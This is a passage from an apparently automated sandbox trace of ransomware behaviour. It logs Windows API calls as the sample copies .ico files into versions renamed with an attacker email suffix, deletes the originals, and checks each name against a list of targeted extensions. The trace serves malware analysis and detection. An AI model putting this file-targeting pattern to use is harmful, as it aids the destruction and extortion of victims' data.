hFile=0x300, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xea, lpOverlapped=0x0) returned 1 [0052.167] SetEndOfFile (hFile=0x300) returned 1 [0052.168] CloseHandle (hObject=0x300) returned 1 [0052.168] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.168] SetEndOfFile (hFile=0x2ec) returned 1 [0052.169] CloseHandle (hObject=0x2ec) returned 1 [0052.169] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.169] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0052.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0052.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0052.170] lstrlenW (lpString=".doc") returned 4 [0052.170] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.170] lstrlenW (lpString=".docx") returned 5 [0052.170] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0052.170] lstrlenW (lpString=".pdf") returned 4 [0052.170] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.170] lstrlenW (lpString=".xls") returned 4 [0052.170] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.170] lstrlenW (lpString=".xlsx") returned 5 [0052.170] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0052.170] lstrlenW (lpString=".ppt") returned 4 [0052.170] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0052.170] lstrlenW (lpString=".zip") returned 4 [0052.170] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.170] lstrlenW (lpString=".rar") returned 4 [0052.170] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.170] lstrlenW (lpString=".bz2") returned 4 [0052.170] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.170] lstrlenW (lpString=".7z") returned 3 [0052.170] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0052.170] lstrlenW (lpString=".dbf") returned 4 [0052.170] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0052.170] lstrlenW (lpString=".1cd") returned 4 [0052.170] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0052.170] lstrlenW (lpString=".jpg") returned 4 [0052.171] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0052.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0052.171] lstrlenW (lpString=".doc") returned 4 [0052.171] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.171] lstrlenW (lpString=".docx") returned 5 [0052.171] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0052.171] lstrlenW (lpString=".pdf") returned 4 [0052.171] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.171] lstrlenW (lpString=".xls") returned 4 [0052.171] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.171] lstrlenW (lpString=".xlsx") returned 5 [0052.171] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0052.171] lstrlenW (lpString=".ppt") returned 4 [0052.171] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0052.171] lstrlenW (lpString=".zip") returned 4 [0052.171] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.171] lstrlenW (lpString=".rar") returned 4 [0052.171] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.171] lstrlenW (lpString=".bz2") returned 4 [0052.171] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.171] lstrlenW (lpString=".7z") returned 3 [0052.171] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0052.171] lstrlenW (lpString=".dbf") returned 4 [0052.171] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0052.171] lstrlenW (lpString=".1cd") returned 4 [0052.171] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0052.171] lstrlenW (lpString=".jpg") returned 4 [0052.171] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.172] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.172] lstrlenW (lpString="Rotate7.ico") returned 11 [0052.172] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0052.172] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=894) returned 1 [0052.172] CloseHandle (hObject=0x2ec) returned 1 [0052.172] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0052.172] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.172] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0052.172] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.172] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.172] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0052.173] GetLastError () returned 0x0 [0052.173] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x37e, lpOverlapped=0x0) returned 1 [0052.174] WriteFile (in: hFile=0x300, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x380, lpOverlapped=0x0) returned 1 [0052.175] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.175] WriteFile (in: hFile=0x300, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xea, lpOverlapped=0x0) returned 1 [0052.175] SetEndOfFile (hFile=0x300) returned 1 [0052.175] CloseHandle (hObject=0x300) returned 1 [0052.176] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.176] SetEndOfFile (hFile=0x2ec) returned 1 [0052.176] CloseHandle (hObject=0x2ec) returned 1 [0052.177] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.177] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0052.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0052.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0052.177] lstrlenW (lpString=".doc") returned 4 [0052.177] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.177] lstrlenW (lpString=".docx") returned 5 [0052.177] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0052.177] lstrlenW (lpString=".pdf") returned 4 [0052.177] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.177] lstrlenW (lpString=".xls") returned 4 [0052.177] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.177] lstrlenW (lpString=".xlsx") returned 5 [0052.177] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0052.177] lstrlenW (lpString=".ppt") returned 4 [0052.177] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0052.177] lstrlenW (lpString=".zip") returned 4 [0052.177] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.177] lstrlenW (lpString=".rar") returned 4 [0052.177] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.178] lstrlenW (lpString=".bz2") returned 4 [0052.178] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.178] lstrlenW (lpString=".7z") returned 3 [0052.178] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0052.178] lstrlenW (lpString=".dbf") returned 4 [0052.178] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0052.178] lstrlenW (lpString=".1cd") returned 4 [0052.178] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0052.178] lstrlenW (lpString=".jpg") returned 4 [0052.178] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0052.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0052.178] lstrlenW (lpString=".doc") returned 4 [0052.178] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.178] lstrlenW (lpString=".docx") returned 5 [0052.178] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0052.178] lstrlenW (lpString=".pdf") returned 4 [0052.178] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.178] lstrlenW (lpString=".xls") returned 4 [0052.178] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.178] lstrlenW (lpString=".xlsx") returned 5 [0052.178] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0052.178] lstrlenW (lpString=".ppt") returned 4 [0052.178] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0052.178] lstrlenW (lpString=".zip") returned 4 [0052.178] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.178] lstrlenW (lpString=".rar") returned 4 [0052.178] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.178] lstrlenW (lpString=".bz2") returned 4 [0052.178] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.179] lstrlenW (lpString=".7z") returned 3 [0052.179] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0052.179] lstrlenW (lpString=".dbf") returned 4 [0052.179] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0052.179] lstrlenW (lpString=".1cd") returned 4 [0052.179] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0052.179] lstrlenW (lpString=".jpg") returned 4 [0052.179] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.179] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.179] lstrlenW (lpString="Rotate8.ico") returned 11 [0052.179] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0052.180] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=894) returned 1 [0052.180] CloseHandle (hObject=0x2ec) returned 1 [0052.180] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0052.180] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.180] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0052.180] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.180] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.180] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0052.180] GetLastError () returned 0x0 [0052.180] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x37e, lpOverlapped=0x0) returned 1 [0052.182] WriteFile (in: hFile=0x300, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x380, lpOverlapped=0x0) returned 1 [0052.183] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.183] WriteFile (in: hFile=0x300, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xea, lpOverlapped=0x0) returned 1 [0052.183] SetEndOfFile (hFile=0x300) returned 1 [0052.183] CloseHandle (hObject=0x300) returned 1 [0052.184] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.184] SetEndOfFile (hFile=0x2ec) returned 1 [0052.184] CloseHandle (hObject=0x2ec) returned 1 [0052.185] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.185] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0052.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0052.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0052.185] lstrlenW (lpString=".doc") returned 4 [0052.185] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.185] lstrlenW (lpString=".docx") returned 5 [0052.185] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0052.185] lstrlenW (lpString=".pdf") returned 4 [0052.185] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.185] lstrlenW (lpString=".xls") returned 4 [0052.185] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.185] lstrlenW (lpString=".xlsx") returned 5 [0052.185] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0052.185] lstrlenW (lpString=".ppt") returned 4 [0052.185] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0052.185] lstrlenW (lpString=".zip") returned 4 [0052.185] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.185] lstrlenW (lpString=".rar") returned 4 [0052.186] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.186] lstrlenW (lpString=".bz2") returned 4 [0052.186] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.186] lstrlenW (lpString=".7z") returned 3 [0052.186] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0052.186] lstrlenW (lpString=".dbf") returned 4 [0052.186] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0052.186] lstrlenW (lpString=".1cd") returned 4 [0052.186] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0052.186] lstrlenW (lpString=".jpg") returned 4 [0052.186] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0052.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0052.186] lstrlenW (lpString=".doc") returned 4 [0052.186] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.186] lstrlenW (lpString=".docx") returned 5 [0052.186] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0052.186] lstrlenW (lpString=".pdf") returned 4 [0052.186] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.186] lstrlenW (lpString=".xls") returned 4 [0052.186] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.186] lstrlenW (lpString=".xlsx") returned 5 [0052.186] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0052.186] lstrlenW (lpString=".ppt") returned 4 [0052.186] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0052.186] lstrlenW (lpString=".zip") returned 4 [0052.186] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.186] lstrlenW (lpString=".rar") returned 4 [0052.186] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.187] lstrlenW (lpString=".bz2") returned 4 [0052.187] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.187] lstrlenW (lpString=".7z") returned 3 [0052.187] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.187] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0052.187] lstrlenW (lpString=".dbf") returned 4 [0052.187] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.187] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0052.187] lstrlenW (lpString=".1cd") returned 4 [0052.187] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.187] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0052.187] lstrlenW (lpString=".jpg") returned 4 [0052.187] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.187] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.187] lstrlenW (lpString="Save.ico") returned 8 [0052.187] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0052.187] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=1150) returned 1 [0052.187] CloseHandle (hObject=0x2ec) returned 1 [0052.187] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0052.187] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.188] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0052.188] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.188] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.188] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0052.188] GetLastError () returned 0x0 [0052.188] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x47e, lpOverlapped=0x0) returned 1 [0052.189] WriteFile (in: hFile=0x300, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x480, lpOverlapped=0x0) returned 1 [0052.190] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.190] WriteFile (in: hFile=0x300, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.190] SetEndOfFile (hFile=0x300) returned 1 [0052.190] CloseHandle (hObject=0x300) returned 1 [0052.191] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.191] SetEndOfFile (hFile=0x2ec) returned 1 [0052.692] CloseHandle (hObject=0x2ec) returned 1 [0052.692] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.692] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0052.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0052.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0052.693] lstrlenW (lpString=".doc") returned 4 [0052.693] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.693] lstrlenW (lpString=".docx") returned 5 [0052.693] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0052.693] lstrlenW (lpString=".pdf") returned 4 [0052.693] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.693] lstrlenW (lpString=".xls") returned 4 [0052.693] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.693] lstrlenW (lpString=".xlsx") returned 5 [0052.693] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0052.693] lstrlenW (lpString=".ppt") returned 4 [0052.693] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0052.693] lstrlenW (lpString=".zip") returned 4 [0052.693] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.693] lstrlenW (lpString=".rar") returned 4 [0052.693] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.693] lstrlenW (lpString=".bz2") returned 4 [0052.693] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.693] lstrlenW (lpString=".7z") returned 3 [0052.693] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0052.693] lstrlenW (lpString=".dbf") returned 4 [0052.693] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0052.693] lstrlenW (lpString=".1cd") returned 4 [0052.693] 